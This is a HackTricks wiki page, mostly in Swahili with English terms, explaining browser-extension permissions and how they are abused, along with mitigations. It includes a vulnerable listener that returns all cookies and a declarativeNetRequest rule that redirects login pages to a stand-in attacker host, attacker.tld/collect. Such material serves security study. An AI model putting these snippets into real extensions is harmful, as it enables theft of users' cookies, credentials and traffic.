BrowExt - permissions & host_permissions

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

permissions

Ruhusa zimetangazwa katika faili ya extension manifest.json kwa kutumia mali permissions na kuruhusu upatikanaji wa karibu chochote ambacho browser inaweza kufikia (Cookies au uhifadhi wa kimwili):

Manifest iliyotangulia inatangaza kwamba extension inahitaji ruhusa ya storage. Hii inamaanisha inaweza kutumia the storage API kuhifadhi data yake kwa kudumu. Tofauti na cookies au localStorage APIs ambazo zinawapa watumiaji kiwango fulani cha udhibiti, uhifadhi wa extension kwa kawaida unaweza kufutwa tu kwa kuondoa extension.

Extension itaomba ruhusa zilizoonyeshwa katika faili yake ya manifest.json, na baada ya kusanidi extension, unaweza daima kukagua ruhusa zake kwenye browser yako, kama inavyoonyeshwa katika picha hii:

Unaweza kupata complete list of permissions a Chromium Browser Extension can request here na complete list for Firefox extensions here.

host_permissions

Mipangilio ya hiari lakini yenye nguvu host_permissions inaonyesha na hosts gani extension itaweza kuingiliana kupitia APIs kama cookies, webRequest, na tabs.

host_permissions ifuatayo kimsingi huruhusu kila tovuti:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

These are the hosts that the browser extension can access freely. This is because when a browser extension calls fetch("https://gmail.com/") it’s not restricted by CORS.

Kutumia vibaya permissions na host_permissions

Cookies

Ruhusa ya cookies inaruhusu extension kufikia cookies zote za browser. Katika this blog post ruhusa hii ilitumiwa vibaya kupitia vulnerable backdound script ili kumtumikia attacker kwa kumpa cookies zote za browser za mtumiaji mwathirika aliyefikia ukurasa wa wavuti hatari. Msimbo ulio hatarishi ulikuwa unarudisha tu cookies zote:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Zaidi ya hayo, host_permissions pia huifungua “advanced” tabs API functionality. Huiwezesha extension kuita tabs.query() na sio tu kupata list ya browser tabs za mtumiaji bali pia kujua ni web page (kumaanisha address na title) gani imepakiwa.

Caution

Not only that, listeners like tabs.onUpdated become way more useful as well. These will be notified whenever a new page loads into a tab.

Kuendesha content scripts

Content scripts si lazima ziandikwe kwa statiki ndani ya extension manifest. Ikiwa kupewa host_permissions za kutosha, extensions pia zinaweza kuzitoa kwa njia ya dynamic kwa kuita tabs.executeScript() au scripting.executeScript().

APIs zote mbili zina uwezo wa kutekeleza si tu faili zilizomo ndani ya extensions kama content scripts bali pia arbitrary code. API ya kwanza inaruhusu kupitisha JavaScript code kama string wakati ile ya pili inapokea JavaScript function ambayo ina uwezekano mdogo wa injection vulnerabilities. Hata hivyo, APIs zote mbili zinaweza kusababisha madhara makubwa endapo zitapitwa vibaya.

Caution

Kwa ziada ya uwezo ulioelezwa hapo juu, content scripts kwa mfano zinaweza intercept credentials zinapoingizwa kwenye web pages. Njia nyingine ya kawaida ya kuyatumia vibaya ni injecting advertising kwenye tovuti zote. Kuongeza scam messages ili kudanganya uaminifu wa tovuti za habari pia inawezekana. Mwisho, zinaweza manipulate banking websites ili kuhamisha pesa kwa njia isiyotakiwa.

Implicit privileges

Baadhi ya privileges za extension hazihitaji kutangazwa wazi. Mfano mmoja ni tabs API: utendaji wake wa msingi unapatikana bila ruhusa yoyote kabisa. Extension yoyote inaweza kutaarifiwa unapofungua au kufunga tabs, ila haitajua ni tovuti gani tabs hizo zinahusiana nazo.

Sounds too harmless? The tabs.create() API is somewhat less so. Inaweza kutumika kuunda tab mpya, karibu sawa na window.open() ambayo tovuti yoyote inaweza kuiita. Hata hivyo, wakati window.open() iko chini ya pop-up blocker, tabs.create() haina ulinzi huo.

Caution

An extension can create any number of tabs whenever it wants.

Ukitazama vigezo vya tabs.create(), utaona uwezo wake unaenda mbali zaidi kuliko kile window.open() inaruhusiwa kudhibiti. Na ingawa Firefox hairuhusu data: URIs kutumika na API hii, Chrome haina ulinzi kama huo. Use of such URIs on the top level has been banned due to being abused for phishing.

Webcam, geolocation and friends

Labda unajua kwamba web pages zinaweza kuomba ruhusa maalum, kwa mfano ili kupata ufikiaji wa webcam (video conferencing tools) au geolocation (maps). Ni vipengele vyenye uwezo mkubwa wa kutumiwa vibaya, hivyo watumiaji kila mara wanapaswa kuthibitisha kuwa bado wanataka haya.

Caution

Not so with browser extensions. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

Kawaida, extension itafanya hivyo mara tu baada ya kusakinishwa. Mara prompt hii itakapokubaliwa, webcam access is possible at any time, hata kama mtumiaji hajawahi kuingiliana na extension kwa wakati huo. Ndiyo, mtumiaji atakubali prompt hii tu ikiwa extension inahitaji kweli ufikiaji wa webcam. Lakini baada ya hapo wanapaswa kumwamini extension kwamba haitarekodi chochote kwa siri.

Kwa ufikiaji wa your exact geographical location au yaliyomo kwenye contents of your clipboard, kutoa ruhusa kwa uwazi si lazima kabisa. Extension inaongeza tu geolocation au clipboard kwenye permissions entry ya manifest yake. Haki hizi za ufikiaji kisha zinatolewa implicitly wakati extension inaposakinishwa. Hivyo extension mbaya au iliyoharibika yenye haki hizi inaweza kuunda profaili ya harakati zako au kufuatilia clipboard yako kwa nywila zilizokopiwa bila wewe kutambua kitu.

Kuongeza neno la history kwenye permissions entry ya manifest ya extension kunatoa ufikiaji kwa history API. Hii inaruhusu kupata historia yote ya kuvinjari ya mtumiaji kwa pamoja, bila kusubiri mtumiaji atembelee tovuti hizo tena.

bookmarks permission ina uwezo sawa wa kutumiwa vibaya; hii inaruhusu kusoma bookmarks zote kupitia bookmarks API.

Storage permission

Extension storage ni mkusanyiko tu wa key-value, sawa sana na localStorage ambayo tovuti yoyote inaweza kutumia. Kwa hiyo hakuna taarifa nyeti inapaswa kuhifadhiwa hapa.

Hata hivyo, kampuni za matangazo pia zinaweza kutumia vibaya storage hii.

More permissions

Manifest V3 ilitenganisha page access kutoka kwa API permissions: permissions bado inasimamia privileged APIs (cookies, tabs, history, scripting, n.k.) wakati host_permissions inadhibiti origins ambazo API hizo zinaweza kugusa. MV3 pia ilifanya host permissions ziwe runtime‑grantable, hivyo extensions zinaweza kuja bila yoyote na baadaye kuonyesha prompt ya idhini kupitia chrome.permissions.request()—Inafaa kwa workflows halali za least‑privilege, lakini pia imetumika vibaya na malware kuongeza hadhi baada ya sifa/utaratibu kuanzishwa.

Toleo lisiloonekana ni declarativeNetRequestWithHostAccess (Chrome ≥96). Linatoa nguvu sawa ya kufunga/kuelekeza maombi kama declarativeNetRequest lakini linaonyesha prompt ya usakinishaji dhaifu ukilinganisha na <all_urls> host permissions. Extensions hatari zinazitumia kupata kimya kimya uwezo wa “block/redirect on any site”; jaribu prompts kwa chrome://extensions/?errors na chrome://extensions/?id=<id>.

declarativeNetRequest dynamic rules zinaweza kumruhusu extension ku-reprogram sera ya mtandao wakati wa runtime. Kwa <all_urls> host access mshambuliaji anaweza kuitegemeza kama silaha ku-hijack traffic au data exfil. Mfano:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome iliongeza mipaka ya sheria za MV3 (≈330k static / 30k dynamic), hivyo seti kubwa za coverage zinawezekana kwa interception/ads injection.

Mifumo ya matumizi mabaya ya hivi karibuni

  • Supply-chain trojanized updates: Akaunti za developer zilizotorwa hutuma updates za MV3 zinazoongeza <all_urls> pamoja na declarativeNetRequest/scripting/webRequest ili kuingiza remote JS na kunyakua headers/maudhui ya DOM.
  • Wallet drains: Ufikiaji wa host pamoja na storage na tabs huruhusu extensions za wallet zilizo backdoor ku-exfiltrate seeds; stolen Web Store API keys zimetumika kusafirisha malicious builds.
  • Cookie theft: Kila extension yenye cookies + ufikiaji mpana wa host inaweza kusoma auth cookies licha ya HttpOnly—tathmini mchanganyiko huo kama uwezo wa credential-stealing.

Kuzuia

Sera ya Google’s developer inaeleza wazi kwamba extensions haziruhusiwi kuomba vibali zaidi ya vinavyohitajika kwa utendaji wao, hivyo kupunguza kwa ufanisi maombi ya vibali kupindukia. Mfano ambapo extension ya browser ilivuka kikomo hiki ilikuwa kusambazwa pamoja na browser yenyewe badala ya kupitia duka la add-on.

Browsers zinaweza pia kupunguza matumizi mabaya ya vibali vya extension. Kwa mfano, Chrome’s tabCapture na desktopCapture APIs, zinazotumika kwa kurekodi skrini, zimetengenezwa kupunguza matumizi mabaya. tabCapture API inaweza tu kuanzishwa kupitia uingiliano wa moja kwa moja wa mtumiaji, kama kubofya ikoni ya extension, wakati desktopCapture inahitaji uthibitisho wa mtumiaji kwa dirisha kurekodiwa, kuzuia shughuli za kurekodi kwa siri.

Hata hivyo, kuimarisha hatua za usalama mara nyingi kunasababisha kupunguza unyumbufu na urahisi wa matumizi wa extensions. activeTab permission inaonyesha kutoa na kupokea hili. Iliwekwa kuondoa haja ya extensions kuomba host privileges kwa intaneti nzima, kuruhusu extensions kufikia tab iliyopo tu baada ya mtumiaji kuiteua wazi. Mfano huu unafanya kazi kwa extensions zinazotegemea vitendo vinavyosababishwa na mtumiaji lakini hautoshi kwa zile zinazohitaji vitendo vya moja kwa moja au vya kuzuia kabla, hivyo kupunguza urahisi na mwitikio wa papo hapo.

References

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks